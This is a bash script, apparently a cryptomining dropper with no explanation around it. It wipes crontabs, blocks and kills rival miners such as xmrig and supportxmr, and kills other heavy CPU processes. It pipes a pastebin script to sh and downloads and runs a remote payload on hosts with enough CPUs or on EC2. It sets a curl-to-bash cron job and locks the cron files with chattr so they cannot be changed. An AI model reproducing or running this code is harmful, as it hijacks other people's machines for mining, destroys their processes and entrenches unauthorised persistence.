1. #!/bin/bash
  2.  
  3. for file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1; do
  4. if [ -f "$file" ]; then
  5. chattr -i -a "$file"
  6. fi
  7. done
  8.  
  9. crontab -r
  10. iptables -A INPUT -s 66.23.199.44 -j DROP
  11. iptables -A INPUT -s 45.94.31.89 -j DROP
  12. ip route add blackhole 139.59.59.33 || true
  13. ip route add blackhole 45.94.31.89 || true
  14. rm -rf /bin/softirq || true
  15. mkdir -p /bin/softirq || true
  16. rm -rf /tmp/nuclear || true
  17. mkdir -p /tmp/nuclear || true
  18.  
  19. ip route add blackhole 154.89.152.115 || true
  20. rm -rf /tmp/runnv/* || true
  21. mkdir -p /tmp/runnv/lived.sh || true
  22. mkdir -p /tmp/runnv/alive.sh || true
  23. mkdir -p /bin/softirq || true
  24. rm -rf /usr/local/bin/watcher || true
  25. mkdir -p /usr/local/bin/watcher || true
  26. nohup sh -c "{ wget -qO- https://pastebin.com/raw/2jtsz9Tk || curl -sSLk https://pastebin.com/raw/2jtsz9Tk; } | tr -d '\r' | sh" >/dev/null 2>&1 &
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33. kill_and_remove_process() {
  34. local term="$1"
  35. if [ -z "$term" ]; then
  36. echo "term not provided."
  37. return 2
  38. fi
  39.  
  40. local pids
  41. pids=$(ps -eo pid,args | grep "$term" | grep -v grep | awk '{print $1}')
  42.  
  43. if [ -z "$pids" ]; then
  44. return 1
  45. fi
  46.  
  47. for pid in $pids; do
  48. local exe_path
  49. exe_path=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
  50.  
  51. if [ -z "$exe_path" ]; then
  52. echo "Skipping PID $pid"
  53. continue
  54. fi
  55.  
  56. # SAFETY CHECK: Exclude common system binary paths
  57. case "$exe_path" in
  58. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*)
  59. echo "Skipping system binary for PID $pid at: $exe_path"
  60. continue # Move to the next PID
  61. ;;
  62. esac
  63.  
  64. # If the checks pass, proceed with termination and deletion
  65. echo "Terminating non-system process '$term' with PID: $pid"
  66. kill -9 "$pid"
  67.  
  68. if [ -f "$exe_path" ]; then
  69. echo "Deleting executable: $exe_path"
  70. rm -f "$exe_path"
  71. if [ $? -eq 0 ]; then
  72. echo "Executable successfully deleted."
  73. else
  74. echo "Error: Failed to delete executable. Check permissions."
  75. fi
  76. else
  77. echo "Executable for PID $pid not found for deletion (already removed or inaccessible)."
  78. fi
  79. done
  80.  
  81. return 0
  82. }
  83.  
  84.  
  85. kill_and_remove_process "crazyeltonproxy" || true
  86. kill_and_remove_process "xmrig" || true
  87. kill_and_remove_process "monero" || true
  88. kill_and_remove_process "c3pool.org:80" || true
  89. kill_and_remove_process "/bin/watcher" || true
  90. kill_and_remove_process "45.94.31.89" || true
  91. kill_and_remove_process "hosts-to-ignore" || true
  92. kill_and_remove_process "supportxmr" || true
  93. kill_and_remove_process "youyutebuae.xyz" || true
  94. kill_and_remove_process "nuclear" || true
  95.  
  96.  
  97.  
  98.  
  99.  
  100. pkill -9 -f 'bash -s '
  101. for pid in $(pgrep -f 'bash /tmp/.*\.sh'); do
  102. if [ "$pid" != "$$" ] && [ "$pid" != "$PPID" ]; then
  103. kill -9 "$pid" 2>/dev/null && echo "Killed process $pid"
  104. fi
  105. done
  106.  
  107.  
  108.  
  109. if [ "$(id -u)" -eq 0 ]; then
  110. echo "Stopping systemd_s service..."
  111. systemctl stop systemd_s
  112. fi
  113.  
  114. check_system_specs() {
  115. local cpu_count=$(nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null || echo 1)
  116. local is_root=false
  117. if [[ $EUID -eq 0 ]]; then
  118. is_root=true
  119. fi
  120.  
  121. if [[ $cpu_count -gt 8 && "$is_root" == "true" ]]; then
  122. echo "VERY GOOD BOY!"
  123. fi
  124. }
  125.  
  126. # Call the function
  127. check_system_specs
  128.  
  129. kill_high_cpu_processes() {
  130. local threshold=150.0
  131. local exclude_patterns=("reservepattern23333" "goAwgBCFH")
  132. local pid cpu cmdline
  133.  
  134. ps -eo pid,%cpu --sort=-%cpu | awk -v threshold="$threshold" \
  135. 'NR>1 && $2 > threshold {print $1}' | while read -r pid; do
  136.  
  137. # Read full command line (even if truncated in `ps`)
  138. if [ -f "/proc/$pid/cmdline" ]; then
  139. cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline")
  140. else
  141. echo "PID $pid died before inspection"
  142. continue
  143. fi
  144.  
  145. # Check for exclusion patterns in full cmdline
  146. for pattern in "${exclude_patterns[@]}"; do
  147. if [[ "$cmdline" == *"$pattern"* ]]; then
  148. echo "Excluding PID $pid (matched '$pattern')"
  149. continue 2
  150. fi
  151. done
  152.  
  153. if kill -9 "$pid" 2>/dev/null; then
  154. echo "Killed PID $pid (CPU: $(ps -p "$pid" -o %cpu --no-headers)%)"
  155. else
  156. echo "Failed to kill PID $pid (already dead or permission denied)"
  157. fi
  158. done
  159. }
  160.  
  161. kill_high_cpu_processes
  162.  
  163. is_program_running() {
  164. found=0
  165. for proc_dir in /proc/[0-9]*; do
  166. if [ -d "$proc_dir" ]; then
  167. pid=$(basename "$proc_dir")
  168.  
  169. if [ -r "$proc_dir/cmdline" ]; then
  170. cmdline=$(cat "$proc_dir/cmdline" 2>/dev/null | tr '\0' ' ')
  171.  
  172. if echo "$cmdline" | grep -q "goAwgBCFH" && \
  173. ! echo "$cmdline" | grep -q "is_program_running"; then
  174.  
  175. if [ -r "$proc_dir/stat" ]; then
  176. state=$(awk '{print $3}' "$proc_dir/stat" 2>/dev/null)
  177. if [ "$state" != "Z" ]; then
  178. found=1
  179. break
  180. fi
  181. fi
  182. fi
  183. fi
  184. fi
  185. done
  186.  
  187. if [ $found -eq 1 ]; then
  188. echo "Program is running."
  189. return 0
  190. else
  191. echo "Program is not running."
  192. return 1
  193. fi
  194. }
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201. download_and_execute() {
  202. local output_file="run.sh"
  203.  
  204. local is_in_china=false
  205. if command -v curl &> /dev/null; then
  206. if curl -s --connect-timeout 3 -4 http://ip-api.com/json/ | grep -q '"country":"China"'; then
  207. is_in_china=true
  208. fi
  209. elif command -v wget &> /dev/null; then
  210. if wget -qO- --timeout=3 -4 http://ip-api.com/json/ | grep -q '"country":"China"'; then
  211. is_in_china=true
  212. fi
  213. fi
  214.  
  215. # Select appropriate URL
  216. local download_url="$primary_url"
  217. if [ "$is_in_china" = true ]; then
  218. download_url="$china_url"
  219. fi
  220.  
  221. # Download the script
  222. if command -v wget &> /dev/null; then
  223. wget -qO "$output_file" "$download_url"
  224. elif command -v curl &> /dev/null; then
  225. curl -k -o "$output_file" "$download_url"
  226. else
  227. echo "Error: Neither wget nor curl is available. Please install one of them."
  228. exit 1
  229. fi
  230.  
  231. # Execute if download succeeded
  232. if [[ -f "$output_file" ]]; then
  233. chmod +x "$output_file"
  234. sed -i 's/\r$//' "$output_file"
  235. bash ./"$output_file"
  236. rm -f "$output_file"
  237. else
  238. echo "Error: Failed to download the script from $download_url"
  239. exit 1
  240. fi
  241. }
  242.  
  243. get_cpu_count() {
  244. # Try different methods to get CPU count
  245. if [ -f "/proc/cpuinfo" ]; then
  246. grep -c ^processor /proc/cpuinfo
  247. else
  248. sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
  249. fi
  250. }
  251.  
  252. is_ec2_host() {
  253. # Check if hostname contains "ec2" (case insensitive)
  254. hostname | grep -qi -e "ec2" -e "compute"
  255. return $?
  256. }
  257.  
  258. # Main logic
  259. if ! is_program_running; then
  260. cpu_count=$(get_cpu_count)
  261. if [ "$cpu_count" -gt 3 ] || is_ec2_host; then
  262. download_and_execute
  263. else
  264. echo "LOW CPU: System has only $cpu_count CPUs (minimum 4 required) and is not an EC2 instance"
  265. fi
  266. fi
  267. create_cronjob() {
  268. local cron_command
  269. if command -v curl >/dev/null; then
  270. cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | bash'"
  271. elif command -v wget >/dev/null; then
  272. cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | bash'"
  273. else
  274. log "Error: Cannot create cron job, neither curl nor wget is available."
  275. return 1
  276. fi
  277.  
  278. (crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
  279. log "Cron job successfully configured."
  280. }
  281.  
  282.  
  283. for file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  284. if [ -f "$file" ]; then
  285. chattr +i "$file"
  286. chattr +a "$file"
  287. fi
  288. done